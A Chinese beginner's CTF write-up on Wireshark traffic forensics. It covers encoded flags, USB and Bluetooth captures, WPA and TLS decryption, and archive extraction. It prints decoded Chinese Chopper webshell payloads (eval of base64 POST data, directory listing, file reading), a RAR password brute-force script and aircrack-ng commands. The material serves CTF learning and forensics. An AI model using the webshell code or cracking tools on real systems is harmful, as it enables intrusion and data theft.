CTF 流量包相关-流量分析(1)

声明一下

本文是根据b站-风二西大佬的视频边做题边总结写成的,可以去支持一下风佬,风佬太强辣!!!

风佬流量分析题合集
风佬流量分析配套题与脚本

另外本人也是个初学者,文章里面如果有错误,记得来踢我
废话不多说,开始吧

1、flag明文

一开始当然是从最基础的开始啦,使用到的工具是wireshark,哪有什么做流量题不用wireshark的啊

打开流量包,最先开始的思路就是搜一下flag这个字符串是否存在于流量包中

image-20230423154849299

于是第一题就这么顺利的解决掉了

像这里的话可观察到flag是存于txt中的,因为是textdata数据

右击-->显示分组字节流
右击协议-->追踪流-->TCP流

即可查看text数据:

image-20230423155438647

或:

image-20230423160400975

flag{This_is_a_f10g}

2、flag编码

当然,现在的题目除了签到谁会给你放flag明文放到流量包里?就算是签到也不一定给你明文,至少也是经过一点小小的编码后才来的

一般的话flag会被编码成很多种形式,常见的有几种:

Hex:666c6167/666C6167(flag)、666c61677b(flag{)
Base64:Zmxh(fla)
Unicode:flag(flag)
等等还有很多,之后遇到了可以自己加一下

然后开始看题吧:

1、64da5a4a1e024d198dfa307299965b6d.pcapng

查找flag的Hex字节666c6167

image-20230423162153465

发现末尾有东西,显示分组字节查看

image-20230423162406230

可以复制出去进行一个码的解,有时候也可以直接在分组字节这里解码

image-20230423162637406

得到flag:

flag{7FoM2StkhePz}

2、attack_log_analysis.pcap

查找flag的Hex字节666C6167(这个全是大写的,Hex不分大小写的,所以大小写都有可能)

image-20230423163003118

显示分组字节:

image-20230423163141856

同样Hex解码:

image-20230423164207021

得到flag:

flag{".str_rot13($str)."}

3、可恶的黑客.pcapng

这回是查找flag的Unicode编码了flag
虽然但是,这里直接搜这一串是不会有搜不到什么的,其实可以直接搜一下f就好

image-20230423165738219

找到之后,查看分组字节,解一下码

image-20230423165842048

得到flag

f1ag{si11yb0yemmm}
也算是一个小坑吧,l用数字1代替了

总结一下

前面的flag不论是直接给你明文,还是有一定的编码,都是比较简单的,像这些十成甚至九成都会是签到题,所以了解一下知道有这种情况就好,重点不再这边

另外这里还是给出一下风佬的脚本吧,虽然我感觉用到的几率应该不会很大,如果要用的话,那个破空查flag的工具应该会比较好用,下载的话,风佬的git里面应该有,这里就不给了

# encoding:utf-8
import os
import os.path
import sys
import subprocess


# 打印可打印字符串
def str_re(str1):
    str2 = ""
    for i in str1.decode('utf8', 'ignore'):
        try:
            # print(ord(i))
            if ord(i) <= 126 and ord(i) >= 33:
                str2 += i
        except:
            str2 += ""
    # print(str2)
    return str2


# 写入文本函数
def txt_wt(name, txt1):
    with open("output.txt", "a") as f:
        f.write('filename:' + name)
        f.write("\n")
        f.write('flag:' + txt1)
        f.write("\n")


# 第一次运行,清空output文件
def clear_txt():
    with open("output.txt", "w") as f:
        print("clear output.txt!!!")


# 递归遍历的所有文件
def file_bianli():
    # 路径设置为当前目录
    path = os.getcwd()
    # 返回文件下的所有文件列表
    file_list = []
    for i, j, k in os.walk(path):
        for dd in k:
            if ".py" not in dd and "output.txt" not in dd:
                file_list.append(os.path.join(i, dd))
    return file_list


# 查找文件中可能为flag的字符串

def flag(file_list, flag):
    for i in file_list:
        try:
            with open(i, "rb") as f:
                for j in f.readlines():
                    j1 = str_re(j)  # 可打印字符串
                    # print j1
                    for k in flag:
                        if k in j1:
                            txt_wt(i, j1)
                            print('filename:', i)
                            print('flag:', j1)
        except:
            print('err')


#这里可以自行添加一些flag编码后的形式
flag_txt = ['flag{', '666c6167', 'flag', 'Zmxh', '&#102', '666C6167']

# 清空输出的文本文件
clear_txt()
# 遍历文件名
file_lt = file_bianli()
# 查找flag关键字
flag(file_lt, flag_txt)

直接把py文件放到流量包同一目录下运行即可,会打印出和flag有关的明文或编码


然后讲一下风佬放在后面的一道题,misc4,后面做到的感觉和这个还是相关的

首先进流量包先搜一下flag,大小写都试一下,结果什么都没有,整体浏览了一下,发现是HTTP流量占多数,于是去统计里面看一下HTTP请求的数量:

image-20230424212615985

有是有不少,但值得注意的还真只有一个,就是最后那个php文件
于是先直接过滤http流,找到php的发送包,然后追踪tcp流

image-20230424213013678

最后这里的鸟语没看懂,直接去wireshark界面查看数据,在data数据里面看到了flag

image-20230424213122323

把这题放到这里讲是因为感觉这个也是属于明文系列的,其实就是想说明一下,不是所有的明文都是单纯的明文,有时候给你明文了,你也不一定能搜到的那种

当然了,这里不一定要追踪TCP流,如果是追踪HTTP流的话是可以直接出来的

image-20230424213639647

要是不懂的话还是慢慢来啊,我就是慢慢来的


还有到flag明文题,虽然不算明文,但也确实是明文吧,大概

管理员密码即flag(dianli_jbctf_MISC_T10075_20150707_wireshark.pcap)

这里提示说管理员密码即flag,打开流量包,还是先搜flag
然后就直接出了:

image-20230427164931804


下一题:流量中的线索.pcapng(后面的题目拿到前面来了,感觉确实是这里的知识点)

拿到流量包先搜flag,没结果,再整体浏览整个流量包协议,大致都是http和DNS协议,于是去统计http请求里看一眼:

image-20230427112618052

发现一个可疑php文件
过滤http跟踪导这个php文件的返回包,显示分组字节流:

image-20230427112727480

一堆鸟语,看着还挺像base64的,尝试解码尾base64

image-20230427112858377

很明显的一个jpg头,于是显示为图像

image-20230427112932148

最后得到flag


再来一题:工业协议分析(0ebb974edd304dc79aac8339b14b877e.pcap)

个人认为还是属于这个知识点的
打开流量包,一片是紫色,看来是首先查找了一下flag,没有什么可用的信息(指的是虽然搜到了flag但我知道那个是没用的东西)
过滤了一下http流,发现没得一个,当时就蚌埠住了,然后屁颠屁颠去看wp了,没想到确实比较简单

像这种题,还有一个小细节需要注意,我们可以对所有的流量大小进行一个排序,如果发现一堆文件里面有一个大的离谱的,或者小的得离谱的流量的话,有可能这个就隐写了东西

就比如这一题,对流量长度进行一个序的排

image-20230427163018964

第一个就相比于其他的流量长度大得离谱,跟进看看:

image-20230427163103790

发现有一串base,还可以看出来这个是一张图片的字节经过base64编码后进行的传输
定位这串字符串,是在网络接口层里面:

image-20230427163308841

显示分组字节,去除前面的头,然后解码为base64就可以很清楚的看出是个png图片了

image-20230427163440791

然后直接显示为图像,就得到flag了

image-20230427163503024

另外说一下,wireshark支持的图像解码好像只有png和jpg?其他的一律不支持,这个我也不太清楚,解出别的了的,记得回来踢我

3、压缩包

对于压缩包这一块的话,应该就有概率会有题出这一个方面了,因为压缩包是可以导出来的,毕竟是字节流嘛

光说还是很抽象的,看题吧

1、caidao.pcapng

像这种压缩包流量,一般都是通过http流发送与接收的,所以这里先过滤一下http流:

image-20230423172541536

不是很多,随便点一个右击-->追踪流-->TCP流

image-20230423172653697

然后就会有一堆的红色和蓝色的东西,简单说明一下,红色就是发送包,蓝色就是返回包
可以根据不同的流来查看该流干了什么

像这里的流0可以简单翻译一下发送包的那一串很像base的东西

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPT
jwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3
dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm9
1bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIo
JEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1Y
nN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZX
NpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiR
SO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs


@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
	@set_magic_quotes_runtime(0);
};
echo("X@Y");$D='C:\\wwwroot\\';
$F=@opendir($D);
if($F==NULL){
	echo("ERROR:// Path Not Found Or No Permission!");
}else{
	$M=NULL;
	$L=NULL;
	while($N=@readdir($F)){
		$P=$D.'/'.$N;
		$T=@date("Y-m-d H:i:s",@filemtime($P));
		@$E=substr(base_convert(@fileperms($P),10,8),-4);
		$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
		if(@is_dir($P))
			$M.=$N."/".$R;
		else 
			$L.=$N.$R;}
	echo $M.$L;
	@closedir($F);
};
echo("X@Y");
die();

没怎么学过web这类的,php语言也不是很了解,所以也不太清楚这个是什么,应该和风佬说的菜刀流量有关,然后根据返回包,是一个列目录,大概就知道是利用菜刀进行了一个列目录的操作,然后菜刀流量的一个特征应该是有 X@Y

接着看下去,到流2的时候,有一些看不懂的东西

image-20230423192100150

还是先看一下发送包的那堆东西(要记住,只要在流量包里的东西一般都会有URL编码,所以记得先URL decode一下再使用base64解码)

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0l
PTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XF
x3d3dyb290XFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb
3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt9O2Vj
aG8oIlhAWSIpO2RpZSgpOw%3D%3D


@ini_set("display_errors","0");
@set_time_limit(0);if(PHP_VERSION<'5.3.0'{
	@set_magic_quotes_runtime(0);
};
echo("X@Y");
$F="C:\\wwwroot\\flag.tar.gz";			// 这里可以看见有个tar.gz形式的压缩包
$fp=@fopen($F,'r');
if(@fgetc($fp)){
	@fclose($fp);
	@readfile($F);
}else{
	echo('ERROR:// Can Not Read');
};
echo("X@Y");
die();

可以看见有一个tar.gz压缩包,所以就基本可以确定是发送了一个压缩包给接收包,所以接受包那边的编码应该就是一个压缩编码了

去到wireshark主界面找到这串流量,查看字节分流,去掉菜刀流量的标志位(我也不知道叫啥,就先这样叫着)只需要去掉前面的就可以了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bMwZ258m-1682662932056)(https://gitee.com/duxianQAQ/typora-image/raw/master/typora-image/202304231926521.png)]

然后更改一下解码规则为压缩就可以看到相应的数据了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-498TSQIp-1682662932058)(https://gitee.com/duxianQAQ/typora-image/raw/master/typora-image/202304231928083.png)]

2、test.pcap

同样的操作:过滤http流,跟踪TCP流,查看可疑流

这回到了流3

image-20230423194841487

还是翻译一下发送包那堆鸟语

%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZX
Jyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG
8oIi0%2BfCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0p
OiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtA
cmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7
ZGllKCk7&z1=%2Fvar%2Fwww%2Fhtml%2Fx.tar.gz


@eval base64_decode($_POST[z0]));
&z0=@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;					// 这次不是X@Y了,是->|
$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];
$fp=@fopen($F,"r");
if(@fgetc($fp)){
    @fclose($fp);
    @readfile($F);
}else{
    echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
&z1=/var/www/html/x.tar.gz			// 很明显的一个压缩包在这里了

一样的,去掉特征符后,解码为压缩形式:

image-20230423195235680

当然也可以直接把这串数据给导出来(虽然我没导出成功,不知道是不是版本的问题)
具体操作就是解码、开始字符什么的都不要变,直接把流量显示为原始数据,然后另存为随便一个压缩包就行,直接用文本打开里面的东西就会显示出来


然后就是一道练手的题
liuliang.pcap

打开来还是一样的操作:过滤http、追踪TCP流看看

另外在这之前可以去看看统计里面的HTTP请求有多少

image-20230423202944889

像这种php就可以关注一下

image-20230423203022854

发现流11有点熟悉的东西

image-20230423203330058

这不就压缩包吗

追踪TCP流后再过滤一下http流,在流11却又没什么东西了,又去流10看看
发现又有东西了

image-20230423204458254

直接把字节导出来,然后导导010里面去,把压缩包保存下来(我是这样做的,真不知道为什么不能直接导出为压缩包)

image-20230423204729612

然后发现是个加密的压缩包?
鬼,是伪加密罢

image-20230423204839933

后来看了风佬的视频,才知道流11的那个压缩包也可以用,只不过他的可以直接导出来,我导不出来,就很烦,找找各种版本吧

以上问题已解决,所用版本为4.0.5

流11的数据也可以直接导出了

image-20230423211016769

直接导出分组字节流为1.zip

之后用010把头和尾给去掉,用7-zip打开即可获取flag


另一道练手的题,也是风佬在后面讲的,感觉还是这边的知识就拿过来了

被偷走的文件.pcapng

进来干的第一件事:搜flag

image-20230426213721360

搜到一个flag.rar,因为知道rar文件的头是什么样的,尝试找一下Rar

image-20230426213853574

真给找到了,在一个FTP流量里面,导出分组字节流,打开却需要密码,尝试暴力破解

image-20230426215344671

还真给爆出来了,出flag:

image-20230426215436827


继续看题:带密码的压缩包(p1.pcap)

进去先找flag:image-20230427104307481

rar压缩包,去搜Rar看能不能搜到字节

image-20230427104417685

又找到了,跟踪tcp流,只看返回包

image-20230427104518404

已经是很明显的一个rar压缩包格式了,直接导出来(显示为原始数据导出来后导010里面把菜刀头和尾去掉就行,虽然直接打开也行吧)

另外讲一下这个27fc,这是TCP分段传输的一个标志位,所以还是要注意点,别没导全,最好是再跟踪TCP流界面里导,导原始数据就行了

image-20230427104850713

是个带密码的压缩包,先尝试搜一下PIN或者password
虽然搜到了password,但那些都是php文件的命名,不是我们想要的东西,没办法,只能尝试爆破
另外这个是rar5.0以上的版本,是不支持使用那个最常用的爆破软甲的,所以还是要考脚本

贴一下风佬的脚本:

import subprocess

rar_name = "1.rar"
# 载入字典
with open('top19576.txt', "r") as f:
    for p in f.readlines():
        cmd = "Rar.exe e {0} -y -p{1}".format(rar_name, p.strip())
        r = subprocess.getstatusoutput(cmd)
        if r[0] == 0:
            print("pass = %s" % p)
            break
# 纯数字爆破
for p in range(0, 999999):
    cmd = "Rar.exe e {0} -y -p{1}".format(rar_name, str(p))
    r = subprocess.getstatusoutput(cmd)
    if r[0] == 0:
        print("pass = %s" % p)
        break

这个是字典爆破或者纯数字爆破,要用某一个把另一个注释起来就行了,另外这个Rar.exe网上教程应该有一大堆,这里就不细讲了

image-20230427110048379

得到flag:image-20230427110128415


4、不可打印字符(telnet协议)

telnet协议提供了一种通过终端远程登远程登录到服务器的方式,呈现一个交互式操作界面,用户可以先登录到一台主机,然后再通过telnet的方式远程登录到网络上的其他主机上,而不需要为每一台主机都连接一个硬件终端,然后对设备进行配置和管理
简单来说就是远程传输协议,明文传输的那种,建议拿到一个流量包在进行一些有必要或没必要的操作之前还是先浏览一下整个流量包包含哪些协议,像这种telnet协议就还是比较重要的,虽然不一定藏东西了

看题好讲点:telnet.pcap

拿到包,先搜明文,然后整体看一下,发现有telnet协议,也有不少http,总之先去统计看看http的请求

image-20230424215250967

没有太多,先过滤翻翻找找,并没有发现什么,那个php里面是一堆源码,试着解读了一下,确实没有啥东西,然后转向开始整体浏览发现的telnet协议,先过滤下来,追踪tcp流查看:

image-20230424215659165

这回就有东西了,看到flag就放心了,因为发送包和接收包有重叠,不方便查看,干脆直接看接收包

image-20230424215843850

额,好像没啥东西,然后转向发送包

image-20230424215941039

还是这玩意像flag一点,但不知道中间那三个点是什么意思
最简单的方法就是直接显示数据为hex

image-20230424220129810

发现那三个点对应的hex值是08,转为10进制就是8,对应的

image-20230424220253125

08转为10进制就是8,对应的ASCII就是\b,即退格,意思是这里有三次退格

最后经过退格后那一串就变成了
28d982kwalx8e 即flag

5、蓝牙协议

蓝牙传输协议是指的是蓝牙协议层,包括逻辑链路控制和适配协议(L2CAP)、无线射频通信(RFCOMM)和业务搜索(SDP)
其中L2CAP提供分割和重组业务

还是一样的,在整体看了一下流量包协议后,如果发现有上面这些东西的话,一定要想到还有蓝牙协议这种可能
另外可以去统计-->协议分级里查看一下,蓝牙协议下是否有 OBEX 协议,这是一个用于蓝牙传输文件的一个协议,如果有的话,可以先右键这个协议,然后查找到它,在它的附近操作

然后看题:2004225e9ff0cd86ee4.pcapng

先搜flag,虽然搜出来一堆,但是那些都是协议中,固定的一个名称,没有意义,所以还是先浏览一下整体的流量包,很容易就可以判断是蓝牙协议,先去统计-->协议分级里看看

image-20230425100507502

发现有OBEX协议,很可能是在这里传输了个什么文件之类的,右键-->查找跟进

image-20230425100638283

果然有个7z压缩包

image-20230425100724262

直接导出分组字节流,压缩包需要密码,但提示了密码是蓝牙的密码

然后又回去流量包找蓝牙的密码
因为蓝牙里面有个固定的密码名称叫做PIN所以还是先搜一下PIN这串字符,看是不是有东西

image-20230425101109562

当搜索的是分组详细的时候,看见了有类似PIN发送的协议

image-20230425101232079

找到PIN了,解压压缩包得到flag

image-20230425101314081

当然实在不知道就爆破吧,虽然我也不知道到底能不能爆出来

6、USB键盘鼠标数位板流量

对于这种流量一般都在usbhid.datausb.capdata中,可以看一下
前者后者分别为以下两图:

image-20230426100855330
image-20230426100816552

1.键盘流量

脚本
使用方法:

python UsbKbCracker.py -f [流量包文件] -e usbhid.data [-Y "xxx"]
最后一项是wireshark里的过滤器的过滤条件,可以不加

USB协议键盘数据部分在Leftover Capture Data域中,数据长度为一般为八个字节
击键信息集中在第3个字节,每次击键都会产生一个数据包

USB keyboard映射表:参考文档
对于键盘流量,考点多一点,但也多不到哪去,最主要的一个就是:

flag信息隐藏在USB流量中,通过USB协议数据中的键盘键码转换成键位

另外还有风佬的脚本,个人感觉这个好用是用,但很多地方用了,好像不出东西,随缘吧

# -*- coding: cp936 -*-
import os

# 下面的test.pcapng记得改一下
os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

nums = []
keys = open('usbdata.txt')
for line in keys:
    # print(line)
    if len(line) != 17:  # 首先过滤掉鼠标等其他设备的USB流量
        continue
    nums.append(line[0:2] + line[4:6])  # 取一、三字节
    # print(nums)
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00":
        continue

    if n[2:4] in normalKeys:
        if n[0:2] == "02":  # 表示按下了shift
            output += shiftKeys[n[2:4]]
        else:
            output += normalKeys[n[2:4]]
    else:
        output += '[unknown]'
print('output :' + output)

2.鼠标流量

脚本嗦,这个脚本我不好说,因为我没用出来过,还是风佬的脚本好使
另外风神这个需要安装gnuplot
使用方法:

python UsbmiceCracker.py -f [流量包文件] -e usb.capdata -a LEFT
关于最后一项:
LEFT:左击
RIGHT:右击
ALL:双击
MOVE:移动轨迹
若没有加最后一项,则默认所有都有

USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为一般为四个字节
第一个字节,代表按键

当取0×00时,代表没有按键
当取0×01时,代表按左键
当取0×02时,代表当前按键为右键

第二个字节,可看作为signed byte类型,其最高位为符号位

当值为正时,代表鼠标右移像素位
值为负时,代表鼠标左移像素位

第三个字节,代表垂直上下移动的偏移

当值为正时,代表鼠标上移像素位
值为负时,代表鼠标下移像素位

对于鼠标流量最可能的考点大概就一个:

flag隐藏在usb流量中,通过USB协议数据中的鼠标移动轨迹转换成flag

另外也贴一下风佬的脚本,另外风佬的脚本用来解他那个题的话可能有点小错误,我改了一下:

import os

# 就是下面这个命令 usbhid.data 这里,原本是 usb.capdata ,看着是HID DATA所以就改了一下
os.system("tshark -r test2.pcapng -T fields -e usbhid.data > usbdata.txt")
nums = []
keys = open('usbdata.txt', 'r')
result = open('result.txt', 'w')
posx = 0
posy = 0
for line in keys:
    if len(line) != 13:
        continue
    x = int(line[4:6], 16)
    y = int(line[6:8], 16)
    if x > 127:
        x -= 256
    if y > 120:
        y -= 264
    posx += x
    posy += y
    btn_flag = int(line[2:4], 16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1:
        result.write(str(posx) + ' ' + str(-posy) + '\n')
print(result)
keys.close()
result.close()

os.system("gnuplot -e \"plot \'result.txt\'\" -p")

把流量包放到同一目录,改一下小参数运行就行了

3.数位板流量

这个以前有考过,我感觉还是挺重要的,但看见很多佬都没有说过,所以还是在这里提一嘴吧

image-20230425212438205

数位板流量的形式大概是以以下方式存储的:

10402a46001e3c0000000000000000003f00000000000000000000
10402046000b3c0000000000000000003f00000000000000000000
1040254600193c0000000000000000003f00000000000000000000
1040344600053a0000000000000000003f00000000000000000000
10401c46000e3a0000000000000000003f00000000000000000000
1040214600a93b0000000000000000003f00000000000000000000
1040244600c8390000000000000000003f00000000000000000000
1040144600ab390000000000000000003f00000000000000000000
1040ff450090390000000000000000003f00000000000000000000
1040ff4500aa3a0000000000000000003f00000000000000000000
1040fa450082390000000000000000003f00000000000000000000
1040f4450094390000000000000000003f00000000000000000000

其中x对应的是5~8位、y对应的是11到14位,且二者都是以小端方式存储

数位板流量的考点也很单一,单纯的考轨迹
根据提取出来的数据转化成十进制然后通过画图就可以还原数位板上的轨迹了

import os
import matplotlib.pyplot as plt
os.system("tshark -r 1.pcapng -T fields -e usb.capdata| sed '/^\s*$/d' > 1.txt")
data=[]
with open('1.txt',"r") as f:
    for line in f.readlines():
        if line[16:18] !="00":
            data.append(line)
X = []
Y = []
for line in data:
        x0=int(line[4:6],16)
        x1=int(line[6:8],16)
        x=x0+x1*256
        y0=int(line[10:12],16)
        y1=int(line[12:14],16)
        y=y0+y1*256
        X.append(x)
        Y.append(-y)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.set_title("result")
ax1.scatter(X, Y, c='b', marker='o')
plt.show()

上面脚本中1.pcapng就是要解密的压缩包
主要的是数位板流量的题少,我以前是做过一次,那时候没接触这些不会做,但记得是数位板流量,现在的话不记得那个题目是什么了,很尴尬,我的锅

另外说一点:

以上的脚本都是可拓展的,不是所有的流量包提出来的字节都是固定的,所以有时候需要自己手动修改
比如:

image-20230426132338540

上面这个是一段鼠标流量里的字节,但是不是标准的4字节,而是6字节,所以需要变化一下,在对应脚本处改就是了


然后讲一下题目吧

1、键盘流量:test.pcapng

image-20230425213559723

进去就是一堆USB协议在里面等着你,很快就能确定是三种流量中的一种,一般的话都是用脚本直接嗦就行了,毕竟让你自己一个一个的去分析,你也做不来吧

然后可以确定数据在usb.capdata中

image-20230426132934801

所以直接脚本嗦吧

image-20230426132817832

2、鼠标流量:test2.pcapng

image-20230426134029576

总之可以都试一下,不是键盘就是鼠标了,两个都不是基本就是数位板了,再不是的话,我也不知道了
这个是 usbhid.data 数据

image-20230426134154199

网上下的那个脚本没出来过,但也不排除我使用错误,先保留吧,没准哪天就出来了呢

数位板流量的话,以后遇到再回来补充吧

7、无线流量

与无线流量挂钩最紧密的就是802.11这个了,叫做无线局域网通用标准
再wireshark中的无线-->WLAN中可以看到

像这种无线流量题一般要先知道无线流量包的密码,密码要么告诉你了,要么就是需要爆破

aircrack-ng来爆破
教程


然后来讲题:ctf.pcap

image-20230426190629202

很明显的一个无线流量包,先直接来爆破试试吧(一般都是这个思路,边爆破边找)

aircrack-ng -w dic.txt [流量包文件]
aircrack-ng -w dic.txt ctf.pcap

image-20230426191024267

爆出来了,要注意的有两项,一是前面的WPA那一项,二是KEY

然后就可以解码了

airdecap-ng ctf.pcap -e [爆破出来的WPA值] -p [爆破出来的密码]
airdecap-ng ctf.pcap -e ctf -p password1

image-20230426191158589

然后就多出来一个ctf-dec.pcap

image-20230426191239801

这个就是解密码后的流量包了
进去先搜flag,然后就出了

image-20230426191404250

无线流量包大概就是这么个流程,一般都会伴随一个密码,总之有一个强大的字典总能爆出来的,大概

另外爆出来密码后还有种方法直接把加密流量映射到当前无线流量包中

编辑-->首选项-->Protocol-->IEEE 802.11-->Edit

image-20230426202431263

然后加密后的流量就会显示出来了,虽然但是,我不是很喜欢用

8、ssl流量

一种安全协议流量,有公开密钥(嘁,怎么又是密钥)
在流量包中TLS流量就是加密的流量,一般都会有个私钥解密数据包后再显示额外内容

image-20230426212045864

编辑-->首选项-->Protocol-->TLS

image-20230426212410364

最后一项可以加载私钥,为log文件
加载成功后才会有额外的流量出现


来做题:te2.pcapng

一个ssl_log.log文件,流量包打开一堆TLS,一眼鉴定为SSL流量包
直接加载私钥

image-20230426212821632

然后就出现了额外的http流量
再统计http请求界面发现了有个文档

image-20230426212926342

直接过滤跟进,找到flag

image-20230426213031825

像这种,我有点不清楚是不是都会给你一个私钥让你直接去导,还是说让你找私钥然后再去导,总之还不是很清楚,之后遇到这类型的题目再回来看看

9、菜刀流量

其实之前也见过了,菜刀流量的话其实感觉还是算比较简单的那种(说错了回来打我)
最明显的特征应该是有标准菜刀头和菜刀尾?

->||<-

然后如果里面多数是http和tcp流的话,很可能是伴随着文件的传输的,所以还是注意点吧


来看题:菜刀666(666666.pcapng)

打开流量包就是一片绿,和http和tcp没得跑了,还是老套路,先搜flag
简单找到几个带flag的txt,感觉还是有点关系,但又好像没有关系一样,总之先去统计看看http请求

image-20230427151218045

看到有php文件,还是先去看看再说,过滤http
倒是在最后这里发现了一个压缩包,最后一句话还说需要密码,应该也在流量包里面,先把压缩包导出来,导出分组字节流,然后到010里面去掉菜刀头和尾

image-20230427151342044

果然是个带密码的压缩包,而且有注释提示要密码

image-20230427151526917

无奈,先丢到爆破软件里爆着,然后再流量包里面找
从下网上看,找到了一点小东西

image-20230427152004354

左下角可以列出蛮多目录文件的,所以上面的那个发送包基本就是列目录命令了,尝试跟踪tcp流
追踪后,卡啊,很卡啊,非常卡啊,里面有不少16进制的东西

image-20230427152334424

看一下开头这里image-20230427152454531

FFD8FFE0好熟悉的字节,这不就是jpg图片吗,应该是对应了上面列目录里面的6666.jpg

在7流下,过滤一下http

image-20230427152719862

找到图片字节了,复制整个字节到随便一个文档里,然后用010导入16进制,最后在保存为jpg

image-20230427153244507

密码有了,爆破也不用了,笑死,爆一个世纪都不知道爆得完不
解压缩,出flag:

image-20230427153406727

另外,风佬还有个菜刀流量的辅助工具,我这暂时还没有,要到了再贴出来吧

10、getshell

getshell就是可以通过某种漏洞达到留下后门的操作 ,可以通过程序的bug进入后台
往往应用于上传一句话木马,然后利用菜刀、蚁剑等工具连接一句话在对方服务器的绝对路径,然后获得服务器的各个盘符的信息

反弹shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用

对于TCP而言,它的4444端口绑定一个cmd.exe后门
所以在流量包中,像这种:

image-20230427165922903

基本上可以确定是个反弹shell


做题:getshell(CTF.pcapng)

打开来搜的flag没用,然后浏览了一眼,没有http协议,倒是有很多的tcp协议,于是先过滤到tcp协议
在最后发现了很多4444端口的tcp流量:

image-20230427170309049

尝试追踪tcp流

image-20230427170508793

